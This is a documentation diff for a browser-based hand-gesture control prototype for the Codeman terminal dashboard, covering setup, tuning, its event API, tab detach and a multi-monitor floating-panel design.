+gesture *improvements* (direct-detach, Run/Run Shell taps, self-hosted MediaPipe,
+cache-bust), ported onto the PR in commit `eea84db` (CI green). See
+[Codeman integration](#codeman-integration) below and the hand-off brief
+[`../docs/CODEMAN_DETACH_BRIEF.md`](../docs/CODEMAN_DETACH_BRIEF.md).
+
+**Multi-monitor mode — built & validated at the desk (2026-06-08).** Approach
+**A+C** (see [`../docs/MULTIMONITOR_DESIGN.md`](../docs/MULTIMONITOR_DESIGN.md)):
+(A) gesture "detach" now pops a session into a re-grabbable **in-page floating
+panel** (an `<iframe src="/session/:id">`, not an OS window — so the hand keeps
+control); (C) `scripts/span-codeman.sh` runs Codeman in a **single window spanned
+across both monitors** (Brave-first; needs macOS "Displays have separate Spaces"
+OFF + re-login), launchable one-click from a new **multi-monitor button** in
+Codeman's header. Confirmed: a panel drags across the monitor seam. Still pending:
+`getScreenDetails` screen-snapping (C-snap) and the re-dock gesture.
+
+---
+
+## Run it
+
+```bash
+cd gesture-proto
+npm install
+npm run dev
+```
+
+Open the URL Vite prints (http://localhost:5173). `getUserMedia` requires a
+secure context — `localhost` qualifies, so the dev server is fine. Click
+**Start camera**, allow the camera, hold a hand up. You should see each hand's
+21-point skeleton, a cursor ring per hand (cyan = left, violet = right, green
+while pinching), and a live HUD.
+
+**Choosing a camera:** after Start, the dropdown lists every video device. On a
+Mac with an iPhone nearby (Continuity Camera) you'll typically see the built-in
+FaceTime cam, the **iPhone Camera** (main/wide lens), and a **Desk View Camera**
+— the latter is driven by the iPhone's ultra-wide lens aimed down at the desk
+(the overhead angle). Switching is live; no restart needed. The browser can't
+select the ultra-wide lens directly, so Desk View is how you reach it. **The
+Desk View / superwide camera now works with no issues and tracking is confirmed
+on it** — earlier it was Safari-only and rendered stretched; that's resolved.
+
+**Using it:** point at a tab (it highlights), **pinch** thumb+index to grab,
+move to another Screen column, release to drop. Both hands work at once. **⛶
+Fullscreen** makes the board fill the display (Esc exits). No open-hand gesture
+commands in this build — it's pinch-drag only (see the note up top).
+
+Other scripts: `npm run build` (tsc + vite build), `npm run preview`.
+
+### Developing on the Mac mini, running on the MacBook
+
+The prototype is *run/tested* on the MacBook (better for sitting at the desk
+with the camera). To sync:
+
+```bash
+git pull          # on the MacBook
+cd gesture-proto && npm install && npm run dev
+```
+
+No machine-specific state is committed (`node_modules/`, `dist/`, and
+`.claude/settings.local.json` are gitignored).
+
+### Framerate note
+
+The HUD fps turns **green at ≥ 25**, amber below. Confirmed **60fps** on the
+iPhone 17 Pro (Continuity Camera). If it's ever low, improve **even, frontal
+lighting on the hand zone** first — that matters more than the sensor.
+
+---
+
+## Codeman integration
+
+Phase 5 ships a **separate consumer**, `src/codeman/entry.ts` (the demo +
+`main.ts` are untouched — they stay as a desk-testing harness). It imports the
+same unchanged `src/gesture/` core and binds its events to the **real** Codeman
+dashboard. Build it standalone (MediaPipe inlined) with:
+
+```bash
+npm run build:codeman      # esbuild → dist-codeman/gesture-codeman.js
+```
+
+Codeman serves that bundle at `/gesture/gesture-codeman.js` and injects it into
+the dashboard **only when started with `CODEMAN_GESTURE=1`** (which also widens
+its CSP for WebAssembly). Deploy = copy the bundle into Codeman's
+`src/web/public/gesture/` and reload (static is served from disk).
+
+**Gestures (all off one pinch, routed by what's under your fingertips):**
+- **Fullscreen camera** by default — mirrored, dimmed, full-viewport so you see
+  your hands over the real tabs; the **⛶** button toggles a corner preview.
+- **Grab → in-page floating panel** *(pivoted 2026-06-08 — replaced the old
+  OS-window detach)* — pinch a session tab, a ghost of it follows your hand, pull
+  it out of the strip (>70px) and release → the session pops into a **re-grabbable
+  in-page `.cg-float` panel** (an `<iframe src="/session/:id">`, 640×420) at the
+  drop point. Pinch the panel again to move it anywhere. It stays inside the
+  camera-owning page, so the hand keeps control (the old `window.app.detachSession`
+  `window.open` was a one-way trip). A small twitch-and-release cancels.
+- **Run / Run Shell** — pinch over the **Run** (`#runBtn`) or **Run Shell**
+  (`.btn-shell`) toolbar button and release in place to fire it; drifting too
+  far first cancels the tap. The button list is `CLICK_SELECTOR` in `entry.ts`.
+
+**Self-hosted MediaPipe.** The Codeman consumer loads the wasm runtime + the
+`gesture_recognizer.task` model **same-origin** from `/gesture/` (via
+`wasmBase`/`modelUrl` options), not the CDN — a browser content/ad blocker can
+otherwise block the CDN and startup fails with `failed: {"isTrusted":true}`.
+
+**Multi-monitor button.** Codeman's header has a **multi-monitor button** (it
+replaced the notification bell) → `POST /api/system/span-displays` → spawns
+`scripts/span-codeman.sh`, opening a fresh browser `--app` window spanned across
+all displays so floating panels can cross the monitor seam (PR #103 `95b0035`).
+
+**Caveats:** Codeman serves static with a 1-year **`immutable`** cache, so
+`server.ts` `cacheBustAssets()` appends `?v=<mtime>` to **every** same-origin
+`.js`/`.css` (and the gesture bundle), re-stat'd per render — without it an edited
+module stays cached until a hard refresh (PR #103 `b5ea711`). The old OS-window
+detach verb (kept only as a deliberate, non-default action) does `window.open`,
+which a pinch can get popup-blocked — allow popups once if you ever wire it back.
+
+---
+
+## Layout
+
+```
+gesture-proto/
+├── index.html              # demo page: video, tab board, HUD, controls
+├── docs/
+│   └── BUILD_PLAN.md       # canonical spec: goals, algorithms, phases, tuning
+├── src/
+│   ├── main.ts             # wires GestureController -> demo UI (board, HUD, camera, fullscreen)
+│   ├── gesture/
+│   │   ├── GestureController.ts   # camera + recognizer + loop + per-hand state + event bus
+│   │   ├── OneEuroFilter.ts       # per-axis cursor smoothing
+│   │   ├── pinch.ts               # pinch distance + hysteresis detector
+│   │   ├── commands.ts            # debounced gesture→command bus (Phase 4)
+│   │   ├── landmarks.ts           # landmark indices, connections, helpers
+│   │   └── types.ts               # event payload types + config (full API surface)
+│   ├── demo/
+│   │   ├── overlay.ts             # draws the hand skeleton + per-hand cursors
+│   │   └── tabs.ts                # the 3-column board: hit-testing + drag mechanics
+│   └── codeman/
+│       └── entry.ts              # Phase 5 Codeman consumer (real tabs + Run/Run Shell);
+│                                 #   esbuild-bundled by `npm run build:codeman`
+```
+
+---
+
+## `GestureController` API
+
+Transport-agnostic: it owns the camera, recognizer, per-hand smoothing, pinch
+state machine, and gesture→command bus, and emits **coordinate-only** events. It
+knows nothing about tabs or the DOM — hit-testing lives in the consumer (the
+demo's `tabs.ts`, later Codeman). Integration (Phase 5) is just subscribing and
+calling Codeman's existing tab-move / command functions.
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: stageEl,        // normalized coords map against this element's rect
+  numHands: 2,
+  pinchOn: 0.35, pinchOff: 0.5,   // pinch hysteresis (fractions of hand size)
+  minCutoff: 1.0, beta: 0.01,     // One-Euro cursor smoothing
+  palmHoldMs: 1000,               // Open_Palm hold before halt-all fires
+  deviceId: "",                   // specific camera; "" = default user-facing
+});
+
+// Drag events — surface pixels (X already mirrored), with a per-hand id.
+gc.on("grab", ({ hand, x, y }) => {});  // pinch closed → start drag
+gc.on("drag", ({ hand, x, y }) => {});  // moving while pinched (per frame)
+gc.on("drop", ({ hand, x, y }) => {});  // released (or hand vanished mid-pinch)
+
+// Discrete commands: "halt-all" | "approve" | "new-session".
+// Still emitted by the controller, but THIS build's demo does not subscribe
+// (pinch-only). Wire these up in Codeman (Phase 5) or re-enable in the demo.
+gc.on("command", ({ name }) => {});
+
+// Per-frame snapshot for HUD / hover highlighting / debug overlay.
+// `haltProgress` (0–1 Open_Palm charge) is also still emitted but unused here.
+gc.on("status", ({ fps, hands, haltProgress }) => {});
+//   hands: { handedness, cursor:{x,y}/*normalized*/, pinchDist, pinching, gesture }[]
+gc.on("results", ({ result, timestampMs }) => {}); // raw recognizer result
+
+await gc.start();              // requests camera, loads model
+await gc.useCamera(deviceId);  // switch camera live
+await gc.listCameras();        // enumerate video inputs
+gc.stop();
+```
+
+All events are live. Hover highlighting is derived from the `status` snapshot
+(not a dedicated event), since only the consumer can hit-test against its tabs.
+Full types in [`src/gesture/types.ts`](./src/gesture/types.ts).
+
+---
+
+## Tuning defaults (start here, then adjust by feel)
+
+- **One-Euro filter:** `minCutoff ≈ 1.0`, `beta ≈ 0.01`. Raise `beta` if drag
+  lags during fast moves; lower `minCutoff` if it jitters when still.
+- **Pinch:** `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference
+  distance, wrist→middle-MCP). Two thresholds = hysteresis = no flicker.
+- **Confidence:** detection/tracking ≈ 0.6. Lower if quick gestures get missed,
+  raise if you get false hands.
+- **Camera:** target 30–60fps, even frontal lighting on the hand zone.
+
+---
+
+## Design notes
+
+- **Standalone first.** Fake tabs let us validate feel before touching Codeman.
+- **Main thread first.** Inference runs on the main thread (60fps, no stutter);
+  a Web Worker stays an optional optimization only if the UI ever stutters.
+- **Two hands** (`numHands: 2`). Each hand keeps its own cursor + pinch state,
+  keyed by handedness so filters don't swap when MediaPipe reorders the hands.
+- **Camera angle: front-facing default; superwide now usable too** — iPhone 17
+  Pro main lens via Continuity Camera, pointing / pinch-to-grab grammar. The
+  superwide / Desk View (overhead, ultra-wide) camera now works with no issues
+  and tracking is confirmed on it; the earlier Safari-only / stretched blocker is
+  resolved. The in-app picker switches cameras live.
+- **Transport-agnostic controller.** It emits coordinate-only `grab`/`drag`/
+  `drop` + `command`; the consumer hit-tests. So Phase 5 only swaps the demo's
+  `tabs.ts` for Codeman wiring — the controller is untouched.

packages/gesture-control/docs/BUILD_PLAN.md

@@ -0,0 +1,224 @@
+# Codeman Gesture Control — Prototype Build Plan
+
+> Canonical spec for this project. A Jarvis-style hand-tracking input layer for
+> the Codeman dashboard. Webcam sees your hands; you pinch-drag session tabs
+> between Screen columns and fire discrete gesture commands. Runs entirely
+> in-browser, camera feed never leaves the machine.
+
+Build it as a **standalone prototype first** (its own folder, fake tabs) so the
+input feel can be validated on real hardware before any integration with
+Codeman's existing drag/command code.
+
+---
+
+## Goal & success criteria
+
+Build a `GestureController` module + a self-contained demo page that:
+
+1. Opens the webcam and runs MediaPipe Gesture Recognizer at ~30fps.
+2. Emits a smoothed cursor position and a `pinch` state (grab/release) from hand landmarks.
+3. Lets you **drag fake tabs between columns by pinching**, dropping on release.
+4. Fires **discrete gesture commands** (open palm, thumbs up, victory) onto an event bus.
+5. Feels responsive — drag lag is not perceptible, jitter is filtered out.
+
+**Done when:** you can sit at your desk, pinch a tab, move it to another column,
+release, and it lands — reliably, without visible jitter, with the camera
+mounted at your chosen angle.
+
+---
+
+## Tech stack
+
+- **MediaPipe Tasks Vision** (`@mediapipe/tasks-vision`) — `GestureRecognizer` in `VIDEO` running mode, `numHands: 1` for v1 (add 2 later). Loads the prebuilt `gesture_recognizer.task` model + WASM from CDN.
+- **Vanilla TS + Vite** for the prototype (no framework needed; keep it portable so the module drops into Codeman regardless of its stack). If Codeman is React, the module stays framework-agnostic and you wrap it in a hook at integration time.
+- **One-Euro filter** for cursor smoothing — implement it directly, it's ~40 lines and is the correct tool for noisy interactive landmark streams (low lag at speed, heavy smoothing when still).
+- **Web Worker** for inference is a **Phase 4** optimization — do NOT start there. Get it working on the main thread first; only move to a worker if the dashboard UI stutters.
+
+---
+
+## File structure
+
+```
+gesture-proto/
+├── index.html              # demo page: video preview + columns of fake tabs
+├── package.json
+├── vite.config.ts
+├── src/
+│   ├── main.ts             # wires GestureController -> demo UI
+│   ├── gesture/
+│   │   ├── GestureController.ts   # core: camera + recognizer + state machine + events
+│   │   ├── OneEuroFilter.ts       # cursor smoothing
+│   │   ├── pinch.ts               # pinch detection w/ hysteresis
+│   │   ├── landmarks.ts           # landmark index constants + helpers
+│   │   └── types.ts               # event payload types, config
+│   └── demo/
+│       ├── tabs.ts         # fake tab/column model + render
+│       └── overlay.ts      # draws hand skeleton + cursor dot over video (debug)
+└── README.md
+```
+
+---
+
+## Core algorithms (the parts that decide whether it feels good)
+
+### 1. Cursor from landmarks
+The drag cursor is the **midpoint of thumb tip (landmark 4) and index tip (landmark 8)**, in normalized [0,1] coords from MediaPipe.
+
+- **Mirror X** (`x = 1 - x`) — the webcam image is flipped relative to the user.
+- Map normalized → screen pixels against the dashboard's bounding rect.
+- Run the resulting (x, y) through **two independent One-Euro filters** (one per axis) before using it. Raw landmarks jitter by several pixels even when the hand is still; this is the single most important quality step.
+
+### 2. Pinch detection with hysteresis
+Compute euclidean distance between landmark 4 and landmark 8. **Normalize by hand size** (e.g. distance wrist→middle-finger-MCP, landmarks 0→9) so the threshold is robust to how close the hand is to the camera.
+
+- Use **two thresholds, not one** (hysteresis): enter pinch below `PINCH_ON` (e.g. 0.35 of hand size), exit only above `PINCH_OFF` (e.g. 0.5). This stops flickering between grab/release at the boundary — critical for not "dropping" a tab mid-drag.
+- Require the pinch state to persist N frames (e.g. 2–3) before firing, to reject single-frame noise.
+
+### 3. State machine
+```
+IDLE ──hand detected──> HOVER ──pinch on──> GRABBED ──pinch off──> (drop) ──> HOVER
+  ^                        |                                                    |
+  └────hand lost───────────┴────────────────hand lost────────────────────────┘
+```
+- `HOVER`: cursor moves, highlights the tab/column under it (hit-test).
+- `GRABBED`: the grabbed tab follows the cursor; emit `drag` events.
+- On `pinch off` in GRABBED: hit-test cursor against drop columns, emit `drop {tabId, targetColumnId}` or `dropCancelled` if outside any column.
+
+### 4. Discrete gestures → command bus
+From `result.gestures[0].categoryName`, debounced (fire once per gesture entry, not every frame while held):
+- `Open_Palm` held ~1s → `command: "halt-all"` (dead-man's-switch — pauses every session; genuinely useful for autonomous loops).
+- `Thumb_Up` → `command: "approve"`.
+- `Victory` → `command: "new-session"`.
+- Map these to the SAME command names your voice layer already dispatches, so both input sources converge on one dispatcher.
+
+---
+
+## GestureController public API (target shape)
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: dashboardEl,          // coords mapped against this element's rect
+  numHands: 1,
+  pinchOn: 0.35, pinchOff: 0.5,
+  palmHoldMs: 1000,
+});
+
+gc.on("hover",  ({ x, y, targetId }) => {...});
+gc.on("grab",   ({ x, y })           => {...});
+gc.on("drag",   ({ x, y })           => {...});  // throttled to frame rate
+gc.on("drop",   ({ targetColumnId }) => {...});
+gc.on("command",({ name })           => {...});  // halt-all | approve | new-session
+gc.on("status", ({ fps, handPresent, pinchDist }) => {...}); // debug HUD
+
+await gc.start();   // requests camera, loads model
+gc.stop();
+```
+
+Keep it **transport-agnostic**: it emits semantic events, it does NOT know about
+Codeman's DOM. Integration is just subscribing to these events and calling
+Codeman's existing tab-move / command functions.
+
+---
+
+## Phased build (each phase is independently testable — stop and feel it before moving on)
+
+**Phase 0 — Scaffold & camera (½ day)**
+Vite + TS project. `index.html` with a mirrored `<video>` and a "start" button (camera must be a user gesture). Confirm `getUserMedia` works and you see yourself. Must be served over http(s), not `file://`.
+
+**Phase 1 — Recognizer + debug overlay (½ day)**
+Load `GestureRecognizer` (`VIDEO` mode, CDN model+wasm). Run `recognizeForVideo(video, performance.now())` in a `requestAnimationFrame` loop. Draw the 21-point skeleton + an FPS counter on a canvas over the video. **Checkpoint: confirm you're getting ≥25fps on your actual camera/lighting setup.** Tune lighting here.
+
+**Phase 2 — Cursor + pinch (1 day)**
+Implement `OneEuroFilter` and `pinch.ts`. Render a cursor dot driven by the filtered thumb/index midpoint. Show live pinch distance in the HUD and a color change on grab. **Checkpoint: the dot is steady when your hand is still, and pinch grab/release is crisp with no flicker.** Tune filter constants (`minCutoff`, `beta`) and pinch thresholds here — this is where the "feel" is won or lost.
+
+**Phase 3 — Drag the fake tabs (1 day)**
+Build `tabs.ts`: 3 columns of draggable fake "sessions." Wire the state machine: hover-highlight, grab, drag-follow, drop-with-hit-test. **Checkpoint: you can move a tab across columns reliably 10/10 times.** This is the core demo and the real go/no-go for the whole idea.
+
+**Phase 4 — Discrete commands + polish (1 day)**
+Add gesture→command bus with debouncing and the 1s open-palm halt. Add an on-screen toast when a command fires. Optional: move inference to a Web Worker if the UI stutters; add second-hand support.
+
+**Phase 5 — Codeman integration (✅ working, 2026-06-07)**
+Drop `gesture/` into Codeman via a new consumer `src/codeman/entry.ts` (the core is unchanged; the demo's `main.ts` is *not* the integration point). It binds `grab`/`drag`/`drop` to real `.session-tab`s (grab-to-detach → `app.detachSession`) and pinch-taps the Run / Run Shell toolbar buttons. Runs in Codeman behind `CODEMAN_GESTURE=1`. See the detailed status under "Implementation status" below.
+
+> **Prerequisite (decided 2026-06-06, ✅ done 2026-06-07): Codeman tab-detach first.**
+> Codeman needed a **tab-detach / undock** feature — a session pops out into its
+> own browser window — *before* gesture wiring, because gestures can only drag DOM
+> *within* the one page that owns the camera (you can't drag a node across isolated
+> tabs/OS windows). So undock is a Codeman session-placement op the gesture `drop`
+> *triggers*. **Shipped** as `app.detachSession(id)` → `/session/:id` solo window +
+> BroadcastChannel sync + re-dock on close (the gesture layer calls it directly).
+> Per-monitor placement via `getScreenDetails` stays in the multi-monitor backlog.
+
+---
+
+## Tuning defaults to start from (then adjust by feel)
+- One-Euro: `minCutoff ≈ 1.0`, `beta ≈ 0.01` (raise `beta` if drag lags during fast moves; lower `minCutoff` if it's jittery when still).
+- Pinch: `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference distance).
+- `min_detection_confidence` / `min_tracking_confidence` ≈ 0.6; lower if quick gestures get missed, raise if you get false hands.
+- Camera: target 30–60fps, even frontal lighting on the hand zone (matters more than the sensor).
+
+---
+
+## Hardware note
+
+Prototype on the **MacBook M1 Max built-in cam** for zero-friction Phase 0–3.
+For the real setup, switch to **iPhone via Continuity Camera** mounted at desk
+level aimed at your hand-gesture zone — best sensor + best angle. Decide
+front-facing (pointing/pinch-to-grab) vs overhead (swipe/drag-on-a-plane) mount
+before Phase 3, since it slightly changes the gesture grammar.
+
+---
+
+## Implementation status (kept current)
+
+- ✅ Phase 0, ✅ Phase 1 — see top-level `CLAUDE.md` and `gesture-proto/README.md`.
+- ✅ Phase 1 fps checkpoint — 60fps on MacBook + iPhone 17 Pro (Continuity Camera).
+- ✅ Phase 2 — `OneEuroFilter.ts` + `pinch.ts`: filtered cursor dot + pinch hysteresis. Cursor + `pinchDist` + `pinching` on the `status` event; HUD shows pinch distance, cursor ring turns green on grab.
+- ✅ Phase 3 — `demo/tabs.ts`: 3 Screen columns of draggable session tabs. Controller owns the per-hand pinch state machine and emits `grab`/`drag`/`drop` in surface pixels (with a `hand` id); the demo hit-tests and moves tabs. Two-handed (drag two tabs at once); drop-on-vanish releases a tab if a pinched hand leaves frame.
+- ✅ Beyond plan — two-hand tracking (`numHands: 2`, filters keyed by handedness) and a live camera picker.
+- ✅ Camera (2026-06-06) — front-facing iPhone 17 Pro main lens (Chrome) is the default. **The superwide / Desk View (ultra-wide, overhead) camera now works with no issues and tracking is confirmed on it** — the earlier "Safari-only / stretched / unusable" finding is superseded. Pick either via the in-app camera picker.
+- ✅ Phase 4 (built) — `commands.ts`: debounced gesture→command bus. `Thumb_Up`→approve, `Victory`→new-session (edge-triggered, fire once per entry), `Open_Palm` held `palmHoldMs`→halt-all (dead-man's-switch) with a 0–1 `haltProgress` charge surfaced on `status`. Commands ignore a pinching (mid-drag) hand.
+- ⛔ **Phase 4 unwired in the demo (2026-06-06).** User wants pinch-drag only — an open palm while reaching to pinch kept charging the hold-to-halt. `main.ts` no longer subscribes to `command`/`haltProgress` and the command/charge toasts are gone. The `GestureController` core is untouched and still emits both events, so Phase 5 (or a re-enabled demo) can pick them up unchanged.
+- 🐛 **Drag-position fix (2026-06-06).** A `.dragging` tab is `position: absolute`; the `.column`s establish a containing block via `backdrop-filter`, so board-local left/top were offset by the column's own position — tabs in the middle/right columns flew to the right on grab. Fix: `tabs.ts` reparents the floating tab onto `#board` (no filter/transform) for the drag, so the coordinates `moveTo` computes match the containing block.
+- ✅ **Phase 5 — WORKING at the desk (2026-06-07).** Prerequisite cleared: Codeman tab-detach/undock works in the runtime (`app.detachSession(id)` is the idempotent hook). The gesture overlay runs live in the real Codeman dashboard on `:5000` and was confirmed by the user (normal tab): fullscreen cam + hand/cursor tracking, undock-by-pinch, and Run/Run Shell taps.
+  - **Integration shape: in-page overlay, built into Codeman beta.** The gesture `core` (`src/gesture/`) ships **unchanged**; the consumer is `src/codeman/entry.ts`, esbuild-bundled (`npm run build:codeman`) and served by Codeman at `/gesture/gesture-codeman.js`. A full-viewport, click-through overlay maps coords straight to `elementFromPoint`.
+  - **Gestures (routed by what the pinch lands on):** (a) **grab → in-page floating panel** *(⚠️ pivoted 2026-06-08 — was grab-to-detach)*: pinch a `.session-tab`, a ghost clone follows the hand, pull >`DETACH_PULL_PX` (70) and release → `floatSession(id, x, y)` spawns a re-grabbable `.cg-float` iframe of `/session/:id` (640×420). This **replaced** `window.app.detachSession(id)` (an OS window is a sealed box the hand can't move again — a one-way trip); the float stays in-page so the hand keeps control. See `../../docs/MULTIMONITOR_DESIGN.md`. (b) **Run / Run Shell taps** — pinch over `#runBtn`→`app.run()` / `.btn-shell`→`app.runShell()` and release in place; drift >`TAP_CANCEL_PX` (45) cancels. `CLICK_SELECTOR` is the extensible list. (c) **Fullscreen dimmed cam** by default, **⛶** toggles corner PiP.
+  - **Self-hosted MediaPipe (no CDN).** `entry.ts` passes `wasmBase: "/gesture/wasm"` + `modelUrl: "/gesture/gesture_recognizer.task"`; Codeman serves them same-origin. The CDN path failed in the normal browser tab (content/ad blocker blocking `jsdelivr`/`googleapis`) → surfaced as `failed: {"isTrusted":true}` once `entry.ts` learned to report non-Error throws. Core also gained a GPU→CPU delegate fallback.
+  - **Gated by `CODEMAN_GESTURE=1` (OFF by default).** Under the flag Codeman injects the module script (dashboard only, not `/session/:id` solo popups), cache-busts it with `?v=<mtime>` (static is `max-age=1y`), and widens CSP (`'wasm-unsafe-eval'` + `worker-src 'self' blob:`; same-origin assets now covered by `'self'`). Flag off ⇒ Codeman HTML/CSP unchanged.
+  - **Codeman-side / version control:** the detach + instance isolation + base gesture overlay are committed on `Ark0N/Codeman` branch `beta/session-detach`, open as **PR #103** (tip `afea6d6`; `ceca853` after I fixed its `auth.ts` format:check → CI green). Gotcha: the local prod clone `~/.codeman/app` tracks only `master`, so the branch is hidden until `git fetch origin beta/session-detach` (this briefly misled me into a bogus local reconstruction `03b31b8`, since deleted). The session improvements — direct-detach via `window.app.detachSession`, Run/Run Shell pinch-taps, self-hosted MediaPipe (`/gesture/wasm` + `.task`), and the `server.ts` mtime cache-bust — were **ported onto PR #103** in commit `eea84db` (CI green); their source is `Ark0N/codeman-gesture-control` (`src/codeman/entry.ts`).
+  - **Commits (gesture-proto):** `ddf9cda` (consumer: detach/cam/errors) → `2dd97da` (detach direct) → `21ef793` (Run/Run Shell taps) → `e055b79` (self-host MediaPipe).
+  - **Next:** tune feel; optional in-strip reorder (deferred — user chose detach-only) and more buttons (Stop). Discrete `command` events remain available but unwired (pinch-only). Hand-off brief: `../docs/CODEMAN_DETACH_BRIEF.md`.
+
+## Backlog (requested, for later)
+
+- ✅ **Fullscreen mode** — done. Toggle button fullscreens the `#stage`;
+  `:fullscreen` CSS fills the viewport and the coord mapping adapts since it
+  reads the stage rect every frame.
+- ✅ **Multi-monitor mode — A+C BUILT & validated at the desk (2026-06-08).** The
+  eventual real goal (fling a Codeman session onto an external display by gesture)
+  is reached. **Design → [`../../docs/MULTIMONITOR_DESIGN.md`](../../docs/MULTIMONITOR_DESIGN.md)**,
+  approach **A+C**:
+  - **A — in-page floating panels** (`581fcf9`, `3e0447a`): `entry.ts`
+    `floatSession(id, x, y)` pops a tab into a re-grabbable `.cg-float` iframe of
+    `/session/:id` (640×420) instead of `window.app.detachSession`. The session
+    stays in the camera-owning page's DOM, so the hand keeps control — fixing the
+    one-way-trip flaw of OS-window detach.
+  - **C-span — spanned window** (`063fd8f`, `59946b8`): `scripts/span-codeman.sh`
+    launches a Brave-first (`BROWSER=` override) `--app` window sized to the
+    display union; prereq macOS "Displays have separate Spaces" OFF + re-login.
+    One-click via the **Codeman header button** → `POST /api/system/span-displays`
+    (PR #103 `95b0035`). **Validated:** one window spans both monitors and a panel
+    drags across the seam.
+  - **C-snap** (`getScreenDetails` snapping + seam dead-band) and the **re-dock**
+    gesture/zone are **still pending** — not needed for basic cross-seam dragging.
+  - **Concurrent-rendering question** was RESOLVED first: Codeman already mounts
+    live terminals into floating panels (teammate terminals, log-viewer SSE
+    windows, the iframe-able `/session/:id` solo route), so the live float needed
+    no new Codeman rendering.
+
+Note: the public event surface evolved from the original API sketch. The
+controller stays transport-agnostic but emits coordinate-only `grab`/`drag`/
+`drop` (hit-testing lives in the consumer, since only it knows the DOM/columns).
+`hover`/`dropCancelled`/`targetId` were dropped; hover highlighting is derived
+from the `status` snapshot instead.

packages/gesture-control/docs/CODEMAN_DETACH_BRIEF.md

@@ -0,0 +1,80 @@
+# Feature brief: Session tab detach / undock (for Codeman)
+
+> ✅ **SHIPPED — on GitHub as PR #103 (open).** Branch `beta/session-detach` on
+> `Ark0N/Codeman` (base `master`): "feat(web): session detach/undock + beta
+> instance isolation (port 5000)", containing detach/undock + instance isolation
+> + the base gesture overlay (commit `afea6d6`). `app.detachSession(id)` in
+> `app.js` opens `/session/:id` as a solo window (another live client of the same
+> session), tracks it (badge + `BroadcastChannel` sync + re-dock on close), and is
+> the single idempotent entry point both the on-tab ⧉ icon and the gesture layer
+> call. PTY fan-out (the open question below) resolved **yes**, so no streaming
+> work was needed. CI green after I fixed a prettier format:check on `auth.ts`
+> (commit `ceca853`).
+>
+> ⚠️ **Note:** the local **prod** clone `~/.codeman/app` only tracks `master`, so
+> the PR branch is invisible there until `git fetch origin beta/session-detach`.
+> (Earlier today I briefly mis-concluded the PR didn't exist and made a bogus
+> local reconstruction — deleted. The PR was real all along.) The gesture-side
+> *improvements* from this session — direct-detach, Run/Run Shell pinch-taps,
+> self-hosted MediaPipe, `server.ts` cache-bust — were **ported onto PR #103**
+> (commit `eea84db`, CI green); their source is `Ark0N/codeman-gesture-control`.
+> The rest of this doc is the original hand-off brief, kept for history.
+
+> Hand-off brief for **Codeman** to refine and implement **on a beta branch**.
+> Authored from the gesture-control project, which needs this as a prerequisite.
+> Codeman is "aicodeman": a Fastify + WebSocket server streaming xterm.js
+> terminal (tmux) sessions to a web dashboard.
+
+## Goal
+
+Let a session "tab" pop out of the main dashboard into its **own browser
+window** (and back). Each detached window shows just that one session's
+terminal, fully live. This is a standalone UX win *and* a prerequisite for
+gesture control later (a hand-gesture "drop" will eventually trigger
+detach/relocate — but that's a separate project; **this feature is plain UI
+buttons only**).
+
+## Core approach (refine as needed)
+
+- Add a **"Detach" control** on each tab. It opens a new browser window
+  (`window.open`) pointing at a **single-session view** — ideally a real route
+  like `/session/:id` so the popup just loads a URL and attaches like a normal
+  client.
+- The detached window runs its **own xterm.js instance connected to the same
+  session's WebSocket**, so it's live, not a screenshot.
+- Keep the dashboard and detached windows **in sync** (session list, titles,
+  alive/dead state, focus) — via the existing events channel, or a
+  `BroadcastChannel` if simpler.
+- Support **re-dock** (close popup → tab returns to the dashboard) and handle the
+  popup being closed/refreshed gracefully.
+
+## The one critical question to resolve first (in Codeman's own code)
+
+Can the server currently **fan out one session's PTY/tmux output to multiple
+concurrent WebSocket clients**, or is it single-consumer? A detached window is a
+*second* viewer of the same session. If it's single-consumer today, that's the
+main change: make the pty→socket stream **broadcast to N subscribers** (and merge
+input) so dashboard + popup can both watch/type. This likely matters more than
+the UI work.
+
+## Other decisions for Codeman
+
+- Per-session route (`/session/:id`) vs. a single-page popup that's told which id
+  to show.
+- Multi-monitor placement later via the Window Management API
+  (`getScreenDetails`) — **out of scope now**, just don't design against it.
+- Auth/cookie sharing so a popup window authenticates the same as the dashboard.
+
+## Constraints
+
+- Implement on a **beta branch**, not `main`.
+- The gesture-control side keeps a **read-only** copy of Codeman (its `.git`
+  removed); the live `Ark0N/Codeman` repo is **not** touched from here. Codeman
+  implements this itself.
+
+## Why this is sequenced before gesture wiring
+
+Gestures can only drag DOM **within the single page that owns the camera**; you
+cannot drag a node across isolated browser tabs / OS windows. So undock must be a
+**Codeman session-placement operation** that a gesture `drop` later *triggers* —
+not something the gesture layer does. Detach first; wire gestures to it after.

packages/gesture-control/docs/MULTIMONITOR_DESIGN.md

@@ -0,0 +1,260 @@
+# Multi-monitor gesture design — in-page panels + spanned window (A + C)
+
+**Status:** **A + C-span BUILT & validated at the desk (2026-06-08).** C-snap
+(`getScreenDetails` snapping) still pending. Decided + built 2026-06-08.
+**Supersedes** the OS-window detach as the *gesture* verb (see "Why detach
+broke movability") — *now actually replaced in `entry.ts`, not just planned.*
+**Companion docs:** `CODEMAN_DETACH_BRIEF.md` (the original window.open detach),
+`../gesture-proto/docs/BUILD_PLAN.md` (canonical build spec, Phase 5).
+
+> ## Implementation status (2026-06-08)
+> - ✅ **A — in-page floating panels.** `entry.ts` `floatSession(id, x, y)` spawns
+>   a `.cg-float` div with an `<iframe src="/session/:id">` (640×420) at the drop
+>   point; panels are re-grabbable. Replaces `window.app.detachSession`. Commits
+>   `581fcf9`, `3e0447a`.
+> - ✅ **C-span — spanned window.** `scripts/span-codeman.sh` (Brave-first;
+>   `BROWSER=` override) launches a `--app` window sized to the display union.
+>   Commits `063fd8f`, `59946b8`. **Validated at the desk:** one window spans
+>   both monitors (3432×1080) and a panel drags across the seam.
+> - ✅ **Launch entry point in Codeman.** A header "multi-monitor" button (replaces
+>   the notification bell) → `POST /api/system/span-displays` → spawns the span
+>   script. Bundled `span-codeman.sh` into Codeman's repo. **PR #103** `95b0035`.
+> - ✅ **Cache-bust** all same-origin module scripts/CSS (`renderIndexHtml` →
+>   `cacheBustAssets`), so frontend edits show on a normal reload. PR #103 `b5ea711`.
+> - ⏳ **C-snap** (`getScreenDetails` snapping + seam dead-band) — not built; not
+>   required for basic cross-seam dragging. Also pending: the re-dock gesture/zone.
